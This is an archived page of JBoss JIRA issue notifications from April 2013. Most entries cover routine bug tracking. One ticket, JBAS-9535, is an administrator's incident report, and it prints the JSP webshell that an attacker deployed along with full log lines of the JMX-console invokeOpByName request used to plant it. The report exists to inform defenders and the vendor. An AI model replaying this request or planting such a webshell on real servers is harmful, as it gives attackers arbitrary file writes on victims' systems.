April 2013 - jboss-jira - Jboss List Archives

[JBoss JIRA] (WFLY-768) Caused by: javax.sound.sampled.UnsupportedAudioFileException: could not get audio input stream from input stream

by Jason Greene (JIRA)

[ https://issues.jboss.org/browse/WFLY-768?page=com.atlassian.jira.plugin.s... ] Jason Greene moved AS7-6491 to WFLY-768: ---------------------------------------- Project: WildFly (was: Application Server 7) Key: WFLY-768 (was: AS7-6491) Issue Type: Bug (was: Release) Workflow: GIT Pull Request workflow (was: jira) Affects Version/s: (was: 7.1.1.Final) Component/s: Server (was: Server) Fix Version/s: 8.0.0.Alpha2 (was: No Release) > Caused by: javax.sound.sampled.UnsupportedAudioFileException: could not get audio input stream from input stream > ---------------------------------------------------------------------------------------------------------------- > > Key: WFLY-768 > URL: https://issues.jboss.org/browse/WFLY-768 > Project: WildFly > Issue Type: Bug > Components: Server > Environment: windows 7 jdk1.6,eclipse juno, > Reporter: raky k > Assignee: Jason Greene > Labels: UnsupportedAudioFileException > Fix For: 8.0.0.Alpha2 > > > The application is working fine in the tomcat when deployed in the Jboss server it does not recognizes wav format and throws error Caused by: javax.sound.sampled.UnsupportedAudioFileException: could not get audio input stream from input stream > The application is open source and can be found > http://sourceforge.net/projects/simplecaptcha/files/simplecaptcha-1.2-j2e... > i have done below changes but still no luck. ( as advised on https://community.jboss.org/thread/197517 ) > " > Darran is right, it requires to edit the modules/sun/jdk/main/modules.xml and add an entry for com.sun.media. > > Moreover, copy the following files to modules/sun/jdk/main/service-loader-resources/META-INF/services/ > javax.sound.sampled.spi.AudioFileReader > javax.sound.sampled.spi.AudioFileWriter > javax.sound.sampled.spi.FormatConversionProvider > javax.sound.sampled.spi.MixerProvider > These files can be found inside /jre/lib/resources.jar of JDK, under /META-INF/services/ " -- This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators For more information on JIRA, see: http://www.atlassian.com/software/jira

13 years

1
0
0 / 0

[JBoss JIRA] (AS7-6948) Login configuration does not work for custom mail server

by RH Bugzilla Integration (JIRA)

[ https://issues.jboss.org/browse/AS7-6948?page=com.atlassian.jira.plugin.s... ] RH Bugzilla Integration commented on AS7-6948: ---------------------------------------------- Brian Stansberry <brian.stansberry(a)redhat.com> changed the Status of [bug 953688|https://bugzilla.redhat.com/show_bug.cgi?id=953688] from NEW to POST > Login configuration does not work for custom mail server > -------------------------------------------------------- > > Key: AS7-6948 > URL: https://issues.jboss.org/browse/AS7-6948 > Project: Application Server 7 > Issue Type: Bug > Components: Mail > Affects Versions: EAP 6.1.0.Alpha (7.2.0.Final) > Reporter: Tomaz Cerar > Assignee: Tomaz Cerar > > You cannot configure and use login configuration when having custom server. -- This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators For more information on JIRA, see: http://www.atlassian.com/software/jira

13 years

1
0
0 / 0

[JBoss JIRA] (WFLY-698) Intermitent testsuite failures (tracking)

by Jason Greene (JIRA)

[ https://issues.jboss.org/browse/WFLY-698?page=com.atlassian.jira.plugin.s... ] Jason Greene moved AS7-3990 to WFLY-698: ---------------------------------------- Project: WildFly (was: Application Server 7) Key: WFLY-698 (was: AS7-3990) Epic Name: ? Component/s: Test Suite (was: Test Suite) Fix Version/s: No Release (was: No Release) > Intermitent testsuite failures (tracking) > ----------------------------------------- > > Key: WFLY-698 > URL: https://issues.jboss.org/browse/WFLY-698 > Project: WildFly > Issue Type: Epic > Components: Test Suite > Reporter: Ondrej Zizka > Assignee: Ondrej Zizka > Priority: Trivial > Fix For: No Release > > -- This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators For more information on JIRA, see: http://www.atlassian.com/software/jira

13 years

1
0
0 / 0

[JBoss JIRA] (AS7-6370) Failures in TransactionSubsystemTestCase on Jenkins

by Jason Greene (JIRA)

[ https://issues.jboss.org/browse/AS7-6370?page=com.atlassian.jira.plugin.s... ] Jason Greene closed AS7-6370. ----------------------------- Fix Version/s: No Release Resolution: Out of Date > Failures in TransactionSubsystemTestCase on Jenkins > --------------------------------------------------- > > Key: AS7-6370 > URL: https://issues.jboss.org/browse/AS7-6370 > Project: Application Server 7 > Issue Type: Bug > Components: Domain Management, Transactions > Reporter: Brian Stansberry > Fix For: No Release, 7.1.4.Final (EAP) > > > E.g. in http://jenkins.mw.lab.eng.bos.redhat.com/hudson/job/JBoss-AS-7.1.x-testSu... > Running org.jboss.as.txn.TransactionSubsystemTestCase > Resolving artifact org.jboss.as:jboss-as-transactions:jar:7.1.2.Final > Resolved artifact org.jboss.as:jboss-as-transactions:jar:7.1.2.Final from jboss-developer (http://repository.jboss.org/nexus/content/groups/developer/, releases+snapshots) > /home/hudson/.m2/repository/org/jboss/as/jboss-as-transactions/7.1.2.Final/jboss-as-transactions-7.1.2.Final.jar > Tests run: 2, Failures: 0, Errors: 2, Skipped: 0, Time elapsed: 1.74 sec <<< FAILURE! > Results : > Tests in error: > testTransformers(org.jboss.as.txn.TransactionSubsystemTestCase): java.lang.NoClassDefFoundError: com/vladium/emma/rt/RT > testSubsystem(org.jboss.as.txn.TransactionSubsystemTestCase): java.lang.NoClassDefFoundError: Could not initialize class org.jboss.as.txn.subsystem.TxStatsHandler > Tests run: 2, Failures: 0, Errors: 2, Skipped: 0 -- This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators For more information on JIRA, see: http://www.atlassian.com/software/jira

13 years

1
0
0 / 0

[JBoss JIRA] (AS7-4126) double values cannot be read from dmr response

by Jason Greene (JIRA)

[ https://issues.jboss.org/browse/AS7-4126?page=com.atlassian.jira.plugin.s... ] Jason Greene closed AS7-4126. ----------------------------- Resolution: Done Closing assuming it was fixed with a lack of response > double values cannot be read from dmr response > ---------------------------------------------- > > Key: AS7-4126 > URL: https://issues.jboss.org/browse/AS7-4126 > Project: Application Server 7 > Issue Type: Bug > Components: Console > Affects Versions: 7.1.0.Final > Reporter: Rob Cernich > Assignee: Heiko Braun > Fix For: 7.1.2.Final (EAP) > > > This appears to be a bug in the GWT compiler. The compiler turns the following: > {code:java|title=DataInput.readDouble()} > return IEEE754.toDouble(bytes[pos++], bytes[pos++], bytes[pos++], bytes[pos++], bytes[pos++], bytes[pos++], bytes[pos++], bytes[pos++]); > {code} > into: (effectively; the GWT compiler is adding a set of parentheses around the parameters passed to the native function) > {code:java|title=DataInput.readDouble() compiled} > return IEEE754.toDouble(new byte[] {bytes[pos++], bytes[pos++], bytes[pos++], bytes[pos++], bytes[pos++], bytes[pos++], bytes[pos++], bytes[pos++]}); > {code} > This results in all double values in the model being interpreted as NaN. > I've patched the code I'm using in SwitchYard as follows: > {code:java|title=DataInput.java} > public double readDouble() throws IOException { > byte doubleBytes[] = new byte[8]; > readFully(doubleBytes); > return IEEE754.toDouble(doubleBytes); > } > {code} > {code:java|title=IEEE754.java} > public static native double toDouble(byte[] bytes) /*-{ > var ebits = 11; > var fbits = 52; > // Bytes to bits > var bits = []; > //snip... > } > {code} -- This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators For more information on JIRA, see: http://www.atlassian.com/software/jira

13 years

1
0
0 / 0

[JBoss JIRA] (WFLY-668) 128.4 Web URL Handler

by Jason Greene (JIRA)

[ https://issues.jboss.org/browse/WFLY-668?page=com.atlassian.jira.plugin.s... ] Jason Greene moved AS7-6006 to WFLY-668: ---------------------------------------- Project: WildFly (was: Application Server 7) Key: WFLY-668 (was: AS7-6006) Affects Version/s: (was: EAP 6.1.0.Alpha (7.2.0.Final)) Component/s: (was: OSGi) Fix Version/s: (was: 8.0.0.Alpha1) > 128.4 Web URL Handler > --------------------- > > Key: WFLY-668 > URL: https://issues.jboss.org/browse/WFLY-668 > Project: WildFly > Issue Type: Sub-task > Reporter: David Bosschaert > Assignee: Thomas Diesler > > The webbundle: URL handler needs to be provides as described in section 128.4 of the specification. -- This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators For more information on JIRA, see: http://www.atlassian.com/software/jira

13 years

1
0
0 / 0

[JBoss JIRA] (JBAS-9535) Exploit found in JBoss JMX Console via HtmlAdaptor?action=invokeOpByName

by Mike Hansen (JIRA)

Mike Hansen created JBAS-9535: --------------------------------- Summary: Exploit found in JBoss JMX Console via HtmlAdaptor?action=invokeOpByName Key: JBAS-9535 URL: https://issues.jboss.org/browse/JBAS-9535 Project: Application Server 3 4 5 and 6 Issue Type: Bug Security Level: Public (Everyone can see) Components: JMX Affects Versions: JBossAS-5.1.0.GA Environment: CentOS 5.4 Reporter: Mike Hansen I noticed a new deployment called myname.war with index.jsp which had the following inside: <% if(request.getParameter("f")!=null) (new java.io.FileOutputStream(application.getRealPath("\\") + request.getParameter("f"))).write(request.getParameter("t").getBytes() ); %> mynameok I looked into my web server logs and found the following entry: ssl_access_log.1:211.101.48.70 - - [16/Apr/2013:19:09:13 -0600] "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=myname.war&argType=java.lang.String&arg1=index&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%5c%5c%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3emynameok&argType=boolean&arg4=True HTTP/1.0" 401 - I double-checked our server and we had implemented the fixes for CVE-2010-0738. (We've seen attempts by the JBoss worm trying to install the kisses.tar.gz exploit, but they've been unsuccessful so far.) Here is the complete log of the exploit as recorded by the webserver: access_log.1:211.101.48.70 - - [14/Apr/2013:20:10:27 -0600] "GET /jmx-console/HtmlAdaptor?action=displayMBeans&filter=jboss.admin HTTP/1.0" 302 - "http://153.90.162.14/jmx-console/HtmlAdaptor?action=displayMBeans&filter=..." "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0" access_log.1:211.101.48.70 - - [14/Apr/2013:20:10:29 -0600] "GET /web-console/dtree.js HTTP/1.0" 302 - "http://153.90.162.14/web-console/dtree.js" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0" access_log.1:211.101.48.70 - - [14/Apr/2013:20:10:29 -0600] "GET /jmx-console/jboss.css HTTP/1.0" 302 - "http://153.90.162.14/jmx-console/jboss.css" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0" access_log.1:211.101.48.70 - - [14/Apr/2013:20:10:30 -0600] "GET /jmx-console/HtmlAdaptor?action=displayMBeans&filter=jboss.admin HTTP/1.0" 302 - "http://153.90.162.14/jmx-console/HtmlAdaptor?action=displayMBeans&filter=..." "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0" access_log.1:211.101.48.70 - - [14/Apr/2013:20:10:32 -0600] "GET /invoker/JMXInvokerServlet HTTP/1.0" 200 3365 "http://153.90.162.14/invoker/JMXInvokerServlet" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0" access_log.1:211.101.48.70 - - [16/Apr/2013:19:09:04 -0600] "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=myname.war&argType=java.lang.String&arg1=index&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%5c%5c%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3emynameok&argType=boolean&arg4=True HTTP/1.0" 302 - "-" "-" access_log.1:211.101.48.70 - - [16/Apr/2013:19:09:14 -0600] "GET /myname/index.jsp HTTP/1.0" 404 999 "http://153.90.162.14/myname/index.jsp" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0" access_log.1:211.101.48.70 - - [16/Apr/2013:19:09:15 -0600] "POST /invoker/JMXInvokerServlet HTTP/1.1" 200 73 "-" "Java/1.6.0_10-rc2" access_log.1:211.101.48.70 - - [16/Apr/2013:19:09:17 -0600] "GET /myname/index.jsp HTTP/1.0" 404 999 "http://153.90.162.14/myname/index.jsp" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0) Gecko/20100101 Firefox/19.0" ssl_access_log.1:211.101.48.70 - - [16/Apr/2013:19:09:13 -0600] "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=myname.war&argType=java.lang.String&arg1=index&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%5c%5c%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3emynameok&argType=boolean&arg4=True HTTP/1.0" 401 - ssl_request_log.1:[16/Apr/2013:19:09:13 -0600] 211.101.48.70 TLSv1 RC4-MD5 "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=myname.war&argType=java.lang.String&arg1=index&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%5c%5c%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3emynameok&argType=boolean&arg4=True HTTP/1.0" - -- This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators For more information on JIRA, see: http://www.atlassian.com/software/jira

13 years

1
0
0 / 0

[JBoss JIRA] (AS7-4699) Use OperationBuilder.addFileAsAttachment in the ServerDeploymentManager and DomainDeploymentManager impls

by Jason Greene (JIRA)

[ https://issues.jboss.org/browse/AS7-4699?page=com.atlassian.jira.plugin.s... ] Jason Greene updated AS7-4699: ------------------------------ Parent: (was: AS7-4696) Issue Type: Task (was: Sub-task) > Use OperationBuilder.addFileAsAttachment in the ServerDeploymentManager and DomainDeploymentManager impls > --------------------------------------------------------------------------------------------------------- > > Key: AS7-4699 > URL: https://issues.jboss.org/browse/AS7-4699 > Project: Application Server 7 > Issue Type: Task > Components: Domain Management > Reporter: Brian Stansberry > Fix For: 8.0.0.Alpha1 > > > The ServerDeploymentManager and DomainDeploymentManager interfaces allow users to pass in a File. Currently we immediate convert that File to a FileInputStream and use that IS in the resulting operation. That will force an in-memory copy. Instead, use the OperationBuilder.addFileAsAttachment method introduced in the parent task. -- This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators For more information on JIRA, see: http://www.atlassian.com/software/jira

13 years

1
0
0 / 0

[JBoss JIRA] (WFLY-669) Use OperationBuilder.addFileAsAttachment in the ServerDeploymentManager and DomainDeploymentManager impls

by Jason Greene (JIRA)

[ https://issues.jboss.org/browse/WFLY-669?page=com.atlassian.jira.plugin.s... ] Jason Greene moved AS7-4699 to WFLY-669: ---------------------------------------- Project: WildFly (was: Application Server 7) Key: WFLY-669 (was: AS7-4699) Component/s: Domain Management (was: Domain Management) Fix Version/s: 8.0.0.Alpha1 (was: 8.0.0.Alpha1) > Use OperationBuilder.addFileAsAttachment in the ServerDeploymentManager and DomainDeploymentManager impls > --------------------------------------------------------------------------------------------------------- > > Key: WFLY-669 > URL: https://issues.jboss.org/browse/WFLY-669 > Project: WildFly > Issue Type: Task > Components: Domain Management > Reporter: Brian Stansberry > Fix For: 8.0.0.Alpha1 > > > The ServerDeploymentManager and DomainDeploymentManager interfaces allow users to pass in a File. Currently we immediate convert that File to a FileInputStream and use that IS in the resulting operation. That will force an in-memory copy. Instead, use the OperationBuilder.addFileAsAttachment method introduced in the parent task. -- This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators For more information on JIRA, see: http://www.atlassian.com/software/jira

13 years

1
0
0 / 0

[JBoss JIRA] (WFLY-663) 128.3.8 Stopping the Web Application Bundle

by Jason Greene (JIRA)

[ https://issues.jboss.org/browse/WFLY-663?page=com.atlassian.jira.plugin.s... ] Jason Greene moved AS7-5201 to WFLY-663: ---------------------------------------- Project: WildFly (was: Application Server 7) Key: WFLY-663 (was: AS7-5201) Component/s: (was: OSGi) Fix Version/s: (was: 8.0.0.Alpha1) > 128.3.8 Stopping the Web Application Bundle > ------------------------------------------- > > Key: WFLY-663 > URL: https://issues.jboss.org/browse/WFLY-663 > Project: WildFly > Issue Type: Sub-task > Reporter: David Bosschaert > Assignee: Thomas Diesler > > It is possible that there are one or more colliding WABs because they had the same Context Path as this stopped WAB. If such colliding WABs exists then the Web Extender must attempt to deploy the colliding WAB with the lowest bundle id. -- This message is automatically generated by JIRA. If you think it was sent incorrectly, please contact your JIRA administrators For more information on JIRA, see: http://www.atlassian.com/software/jira

13 years

1
0
0 / 0

2026

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

jboss-jira April 2013